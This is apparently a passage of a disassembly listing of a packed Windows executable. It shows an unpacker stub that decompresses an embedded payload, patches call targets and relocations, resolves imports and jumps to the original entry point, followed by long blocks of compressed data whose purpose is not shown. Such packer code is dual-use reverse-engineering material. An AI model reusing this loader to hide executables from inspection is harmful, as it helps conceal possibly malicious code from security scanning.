		dec	byte ptr [edi]
		jnz	short loc_484C2B
		inc	edi
		push	dword ptr [edi]
		scasd
		jmp	short loc_484C34
; ---------------------------------------------------------------------------

loc_484C2B:				; CODE XREF: start-1530j
		dec	byte ptr [edi]
		jz	sub_417AF8
		push	edi

loc_484C34:				; CODE XREF: start-152Aj
		push	ebp
		call	dword ptr [ebx+4]
		mov	[esi], eax
		lodsd
		test	eax, eax
		jnz	short loc_484C18
		mov	ebp, esp
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 1880000h, 4C6A0000h,	8, 4 dup(0)
		db 2 dup(0)
word_484C6A	dw 5D8h			; DATA XREF: start-1548o
		dd 0A5FD77E8h, 77E7h, 0E3h dup(0)
		dd 13h,	0
		dd 84C6Ah, 0E7A5FDD8h, 0E77h, 3	dup(0)
		db    0
		db 2 dup(0), 4Ch
aOadlibraryaget	db 'oadLibraryAGetProcAddress',0
		align 1000h
seg000		ends

; Section 2. (virtual address 00086000)
; Virtual size			: 0001B124 ( 110884.)
; Section size in file		: 0001B124 ( 110884.)
; Offset to raw	data for section: 00086000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 486000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
		dd 906h, 0
		dd 85000h, 0
		dd 400000h, 0
		dd 77E60000h, 7	dup(0)
		dd 320000h, 0
		dd 400000h, 0Ah	dup(0)
		dd 2, 0C8h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 19373h, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 4	dup(0)
		dd 860E0h, 8609Ch, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 65470000h, 6F725074h, 64644163h
		dd 73736572h, 56000000h, 75747269h, 72506C61h, 6365746Fh
		dd 74h,	74726956h, 416C6175h, 636F6C6Ch, 56000000h, 75747269h
		dd 72466C61h, 6565h, 69784500h,	6F725074h, 73736563h, 0D2000000h
		dd 2A877959h
		db 4Dh,	37h, 0B4h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 00484B53 SIZE 00000083 BYTES
; FUNCTION CHUNK AT 00484BED SIZE 00000055 BYTES
; FUNCTION CHUNK AT 00486513 SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-0D7h]
		cmp	byte ptr [ecx],	1
		jz	loc_4863AF
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-143h]
		mov	[ebp-143h], eax
		add	[ebp-113h], eax
		lea	esi, [ebp-0CFh]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0ABh]
		test	eax, eax
		jz	loc_486513
		mov	[ebp-11Bh], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_486474
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-153h]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_4861E1
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_4861F7
; ---------------------------------------------------------------------------

loc_4861E1:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4

loc_4861EB:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_486224
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]

loc_4861F7:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-0A7h]
		push	dword ptr [ebp-0ABh]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-11Bh]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_486224
		add	ebx, 8
		jmp	short loc_4861EB
; ---------------------------------------------------------------------------

loc_486224:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-11Bh]
		call	dword ptr [ebp-0A7h]
		lea	esi, [ebp-113h]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_48628B

loc_48624C:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h

loc_486251:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_48624C
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_486271
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_48624C
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_48627B
; ---------------------------------------------------------------------------

loc_486271:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah

loc_48627B:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_486251

loc_48628B:				; CODE XREF: start+F7j
		call	sub_4863CA
		lea	ecx, [ebp-0FFh]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_486323
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_486323
		mov	[ecx+10h], esi
		lea	esi, [ebp-0CFh]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_4862C8
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_4862D0
; ---------------------------------------------------------------------------

loc_4862C8:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]

loc_4862D0:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_4862F9
		cmp	al, 0EFh
		ja	short loc_4862E3

loc_4862DD:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_4862D0
; ---------------------------------------------------------------------------

loc_4862E3:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_4862DD
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_4862DD
; ---------------------------------------------------------------------------

loc_4862F9:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_486323

loc_486304:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_486311
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_486304
; ---------------------------------------------------------------------------

loc_486311:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h

loc_486316:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_486323
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_486316
; ---------------------------------------------------------------------------

loc_486323:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-143h]
		mov	edx, [esi]
		lea	esi, [ebp-0E7h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_486376
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-0AFh]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_486513
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-0AFh]

loc_486376:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 8
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_4863AF
		inc	ebx
		lea	esi, [ebp-143h]
		mov	edx, [esi]

loc_486390:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-0AFh]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_486390

loc_4863AF:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_4863C3
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_4863C3:				; CODE XREF: start+264j
		popa
		popf
		jmp	loc_484B53
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4863CA	proc near		; CODE XREF: start:loc_48628Bp
		mov	esi, [ebp-14Bh]
		or	esi, esi
		jz	loc_48646F
		mov	edx, [ebp-143h]
		add	esi, edx

loc_4863E0:				; CODE XREF: sub_4863CA+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_4863F3
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4863F3
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4863F3
		jmp	short loc_48646D
; ---------------------------------------------------------------------------

loc_4863F3:				; CODE XREF: sub_4863CA+19j
					; sub_4863CA+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-73h]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-0B7h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_48646F
		mov	[ebp-13Bh], eax
		add	edi, [esi]
		add	esi, 4

loc_486421:				; CODE XREF: sub_4863CA+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_48642D
		inc	esi
		jmp	short loc_4863E0
; ---------------------------------------------------------------------------

loc_48642D:				; CODE XREF: sub_4863CA+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_486441
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh

loc_486441:				; CODE XREF: sub_4863CA+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-13Bh]
		call	dword ptr [ebp-0B3h]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_48646F
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_486421
; ---------------------------------------------------------------------------

loc_48646D:				; CODE XREF: sub_4863CA+27j
		clc
		retn
; ---------------------------------------------------------------------------

loc_48646F:				; CODE XREF: sub_4863CA+8j
					; sub_4863CA+4Aj ...
		jmp	loc_486513
sub_4863CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_486474	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0048650F SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h

loc_486480:				; CODE XREF: sub_486474+12j
		movsb

loc_486481:				; CODE XREF: sub_486474+34j
					; sub_486474+7Dj
		call	sub_4864F3
		jnb	short loc_486480
		xor	ecx, ecx
		call	sub_4864F3
		jnb	short loc_4864AA
		xor	eax, eax
		call	sub_4864F3
		jnb	short loc_4864BB
		mov	al, 10h

loc_48649C:				; CODE XREF: sub_486474+2Fj
		call	sub_4864F3
		adc	al, al
		jnb	short loc_48649C
		jnz	short loc_4864E8
		stosb
		jmp	short loc_486481
; ---------------------------------------------------------------------------

loc_4864AA:				; CODE XREF: sub_486474+1Bj
		call	sub_4864FF
		dec	ecx
		loop	loc_4864C7
		mov	eax, ebp
		call	sub_4864FD
		jmp	short loc_4864E9
; ---------------------------------------------------------------------------

loc_4864BB:				; CODE XREF: sub_486474+24j
		lodsb
		shr	eax, 1
		jz	short loc_48650F
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_4864E9
; ---------------------------------------------------------------------------

loc_4864C7:				; CODE XREF: sub_486474+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_4864FD
		cmp	eax, 7D00h
		jnb	short loc_4864E7
		cmp	eax, 500h
		jnb	short loc_4864E8
		cmp	eax, 7Fh
		ja	short loc_4864E9

loc_4864E7:				; CODE XREF: sub_486474+65j
		inc	ecx

loc_4864E8:				; CODE XREF: sub_486474+31j
					; sub_486474+6Cj
		inc	ecx

loc_4864E9:				; CODE XREF: sub_486474+45j
					; sub_486474+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_486481
sub_486474	endp


; =============== S U B	R O U T	I N E =======================================



sub_4864F3	proc near		; CODE XREF: sub_486474:loc_486481p
					; sub_486474+16p ...
		add	dl, dl
		jnz	short locret_4864FC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4864FC:				; CODE XREF: sub_4864F3+2j
		retn
sub_4864F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4864FD	proc near		; CODE XREF: sub_486474+40p
					; sub_486474+5Bp
		xor	ecx, ecx
sub_4864FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4864FF	proc near		; CODE XREF: sub_486474:loc_4864AAp
		inc	ecx

loc_486500:				; CODE XREF: sub_4864FF+Dj
		call	sub_4864F3
		adc	ecx, ecx
		call	sub_4864F3
		jb	short loc_486500
		retn
sub_4864FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_486474

loc_48650F:				; CODE XREF: sub_486474+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_486474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_486513:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-0A3h]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_48652F
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------

loc_48652F:				; CODE XREF: seg001:00486523j
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_48655E
; ---------------------------------------------------------------------------
		db 58h
		dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
		db 0C1h, 0E2h
; ---------------------------------------------------------------------------

loc_48655E:				; CODE XREF: seg001:0048654Dj
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h
		dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
		dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh,	1D83E82Bh
		dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
		dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh,	4F97F28Ch
		dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
		dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
		dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
		dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
		dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
		dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh,	0E8DB8594h
		dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
		dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
		dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h,	0D98BC97Dh
		dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
		dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h,	61C98824h
		dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
		dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
		dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
		dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
		dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
		dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
		dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
		dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
		dd 6A11EB08h, 48EF840h,	0A213A102h, 0D2D2100Ch,	4ABE2C67h
		dd 813F938h, 41F1544Eh,	0C8030C4Dh, 70473324h, 52A4F1B8h
		dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
		dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h,	0DB325A05h
		dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh,	0E958020Dh
		dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
		dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h,	207D8EA3h
		dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
		dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h,	0FD446455h
		dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
		dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
		dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
		dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h,	8A1C9AF8h
		dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
		dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh,	0E894C233h
		dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
		dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
		dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh,	912BC09Dh
		dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
		dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
		dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
		dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
		dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
		dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
		dd 4F8D997h, 4C7CB424h,	58247D03h, 0F25194D8h, 624073Dh
		dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h,	0FB2391D6h
		dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
		dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
		dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
		dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
		dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h,	854A4009h
		dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h,	0B5905582h
		dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
		dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h,	0E9440762h
		dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
		dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
		dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
		dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
		dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h,	2420651Dh
		dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
		dd 0F8C41E5Fh, 80B90153h, 0
		dd 5D00h, 93620020h, 50000001h,	8, 0FFFFFD6Fh, 47FFB7A3h
		dd 7215483Eh, 0B8516139h, 0A3E62892h, 0EEF90786h, 0D3821EE4h
		dd 3C3AC52Fh, 7EB14B01h, 4D8A8AC9h, 0D90DA32Fh,	8CE3A67Fh
		dd 0E0531123h, 75C51859h, 0F877E28Ah, 0C7F94B6h, 74DEC06Ah
		dd 0E9E26449h, 4B2535Ch, 0C44F7D8h, 6D0D5FABh, 0C3E5E946h
		dd 96B78876h, 4DB6AC57h, 6F1D69E1h, 10884BFBh, 88CB426Ch
		dd 8F005C3Fh, 26AF4ED0h, 1F719428h, 0E1248F3Dh,	5277155Eh
		dd 67FDC792h, 393E4100h, 57B2C69Eh, 7185F0D8h, 35AB4D0Ah
		dd 425B1DEEh, 943D9637h, 79961F46h, 0D28B4FA2h,	8CD340Ah
		dd 843C7AADh, 4F21D6B1h, 0B545FACBh, 9B32B85Eh,	9C122B51h
		dd 8B9A6FEFh, 91BE21B4h, 3C51D893h, 0CDE4B8A6h,	0AB41A696h
		dd 360B281Dh, 82775AC0h, 9396EDD8h, 8B454190h, 24437D23h
		dd 0E4A9DE30h, 0F4AED305h, 8E096F73h, 630A070Eh, 0EFEB09A5h
		dd 66B867E2h, 6E1A0FCCh, 4426E424h, 0C6D3CDB3h,	0D24768h
		dd 2B670192h, 90B6F2F9h, 9886039Ch, 5A2D5380h, 61A15AB0h
		dd 1EA0D4DFh, 8DF71FC7h, 0AD21Ah, 6B746FCAh, 0B0388C9Ch
		dd 0F2B3581Eh, 0BB247E67h, 0EC03461Eh, 131F848Ch, 0DA0706D7h
		dd 0C4EB9FE7h, 0C2F62E1Bh, 9AABE67h, 0D19BCED4h, 1F8E75CBh
		dd 4E2C570h, 0AF4ACDCCh, 1ADFF2DAh, 0BA7A29F8h,	315F967Bh
		dd 459B4968h, 5A609486h, 4DE0263Dh, 966F3B53h, 0EA8E3B71h
		dd 84A7FDB0h, 88C95055h, 6A22B412h, 17ADA341h, 4B862E6Eh
		dd 2E989008h, 3BDBC340h, 5212B37Ch, 23C4A17Ch, 0CA641A6Bh
		dd 574B020Eh, 6A3A05FEh, 1BE46A7Dh, 0E4E4F361h,	0AC932494h
		dd 0BC3CB8C0h, 0C21503EDh, 0AE102540h, 2EA4EB72h, 22404B39h
		dd 5660B22Bh, 92B6B7A4h, 26B52CDBh, 0BF4E45CCh,	29148E1Bh
		dd 75D5AD98h, 0A3973658h, 0FEB9C4CBh, 0F053B1BDh, 176F60E1h
		dd 0CD5EEDD7h, 0DF19724Dh, 0A18E9455h, 3B163BECh, 0CAB111F1h
		dd 0AB0EAF25h, 6DB45485h, 9326403Ah, 326B71E7h,	0A82B21Bh
		dd 0AEAD83ECh, 0B9DF31AAh, 72E9CE00h, 3EDFB7Dh,	23376148h
		dd 46E6918Dh, 82B90FDCh, 0B4A79B0Bh, 0BF04C779h, 92CA6006h
		dd 5AF1244Ah, 9CBFD7F1h, 9A15EA5Dh, 24FD1848h, 0ED1DCEC9h
		dd 0C8A75A7Fh, 1ECC6664h, 9240E429h, 0D127252Bh, 6E8B8D0Eh
		dd 7D5A656Bh, 0D2E00EE6h, 41611EBAh, 49A84BD4h,	0D3CB7749h
		dd 53BBC925h, 510E93E5h, 96CA5CC7h, 0BE29CD04h,	431ADD64h
		dd 8B780FC4h, 0C3CBDE2h, 9D37CC18h, 5E5AC13Eh, 15EDD05Fh
		dd 0C45D63B7h, 0B320D968h, 5012F620h, 23FEB1Eh,	47AC5B6h
		dd 0A1033B56h, 7B2BE3F4h, 64851038h, 29EA1951h,	0CE4706C2h
		dd 0D64ABFEh, 445D5816h, 0BAEB5A82h, 0EA9782B3h, 22A4D632h
		dd 892AF398h, 3C3A37EEh, 53B7A98Dh, 0AC4AD907h,	205C03F7h
		dd 0C6F30EFBh, 0ACC6CDE0h, 0DE10552Fh, 4F30DD60h, 0D35B3399h
		dd 63CD5441h, 0F8FBB707h, 0D33E2E9Dh, 89116EAh,	3128B7Dh
		dd 0F1C110B1h, 0DC0A683Dh, 21F9DE7Eh, 67500492h, 967C02EEh
		dd 5D5BBDE6h, 17A82A4Ch, 8C07BB02h, 6409DC39h, 96020938h
		dd 0ADEC6ADCh, 0AC8BCB08h, 0E0761F62h, 0FCCA1A83h, 0F49701B2h
		dd 0F3CF8E59h, 35A99DADh, 0FE6EFBDBh, 662DA9AFh, 923C4EFCh
		dd 26073B3Bh, 0F905F8FBh, 2BE7648h, 39BC461Eh, 0D0CF476Ah
		dd 9FC9286Dh, 0F0292959h, 71628E37h, 0B2EABE49h, 0BDA822B2h
		dd 3F1AAC2Bh, 0EA124C78h, 7EEC8B5Dh, 90B4B27Ch,	0DD3052C9h
		dd 3F29D364h, 7496727Dh, 0B479C998h, 2F1E5CC8h,	28531B63h
		dd 0C4454053h, 0B41B3BE3h, 22B5607Eh, 0A7E38FAFh, 18EE2588h
		dd 0DB5739Ah, 0B94BC815h, 69B4783Ch, 528A1E23h,	0FCC0761Ah
		dd 0F25B91B5h, 3F132EB6h, 3EC39AA3h, 0D72A68BCh, 2137046Ch
		dd 0AC0CDE2Eh, 74CA5A54h, 44DD53EEh, 49A2F5AAh,	7B96F57Fh
		dd 0BB290307h, 2683E63h, 9705EF52h, 47F09312h, 7430E6B4h
		dd 878556F5h, 0FD670A4Fh, 8E25CD4Bh, 7B5F994Ch,	5F5CC267h
		dd 0C36CED06h, 0C2131D98h, 9B86734Ch, 0E1BC381Bh, 82174D88h
		dd 689FF5D3h, 7DA457E7h, 5ACB85B6h, 0B4ED1BFCh,	0C3F593Bh
		dd 56B55228h, 1C86ADEFh, 3725B02Eh, 4FC40A08h, 863FCCB4h
		dd 0C02B3D62h, 62A5126Ah, 478700B3h, 323B20D0h,	48929A69h
		dd 2280E18Bh, 222DB8F9h, 0A41AA869h, 7EFECB4Bh,	0C3778F4Ch
		dd 8E6FCA57h, 2651F3Ah,	0F4B40DBFh, 5285B60Bh, 465FC31Ch
		dd 523B4DF7h, 9201D503h, 28589A10h, 0FFAF7A52h,	0E82933DAh
		dd 6D7C0AADh, 0B1B4F886h, 0B0F34321h, 4924CEB9h, 58492E9Ah
		dd 0A6D9A5Eh, 50839CA7h, 93365A06h, 0B4E35496h,	69FE763Eh
		dd 344306B6h, 9F6C8565h, 2143B0BEh, 0C9430499h,	90FDA4C0h
		dd 0EF32D234h, 91A98A42h, 0EBC56EC7h, 0EFB42B81h, 45C45661h
		dd 71D908D7h, 928F4C81h, 10E65D3Dh, 8101461h, 67B6E39Fh
		dd 0D6F489Ah, 1DE466C0h, 638517A2h, 97D27266h, 5B401A9Ah
		dd 0A172A5C7h, 0F988E0D7h, 0DA398D5Fh, 88604823h, 0F3D9D169h
		dd 2ED607E6h, 133A2D05h, 99D4A543h, 816A269Ch, 0AAD43A22h
		dd 610850h, 263C1A48h, 5B1BAC2Bh, 3D77E53Dh, 7B965D27h
		dd 0AA69C690h, 0CD7641DFh, 0DDE408C9h, 0C29B95B9h, 221605C0h
		dd 0E3C6A32Bh, 30495EB7h, 0D28AC38Ch, 0F89280E8h, 0D400A6A3h
		dd 0D561349Eh, 898CB8BFh, 3D1D4A86h, 77339E01h,	97DEF7F3h
		dd 2FF3F9DEh, 35729EBEh, 626B5463h, 685030ADh, 1744ABC4h
		dd 87996166h, 0BE79379h, 7F5D3ECh, 4EA8F7FAh, 2F89C2A4h
		dd 0CDFF7ADDh, 0A654A481h, 83258B3Ah, 0ED315FC0h, 819F693Bh
		dd 0CAB0BDCDh, 48DBAD9Bh, 8F327644h, 7AE7DB89h,	0BB026F3h
		dd 0EC2919B7h, 508F5A6Ah, 0D619CFB0h, 4C86722h,	28E511C2h
		dd 468FC1EBh, 0A505028Eh, 5345290Eh, 10BADF9Ch,	8BF2EB6Dh
		dd 9C92493h, 0DF3EFD74h, 0C77520F9h, 1672F38Dh,	0B9591C15h
		dd 163DE45Fh, 39F76A57h, 0B53A1FC9h, 0F2FDBA69h, 3118E00Dh
		dd 0F370E7A8h, 0E768FE6h, 0CADBA294h, 71038E1Dh, 0E44ECE31h
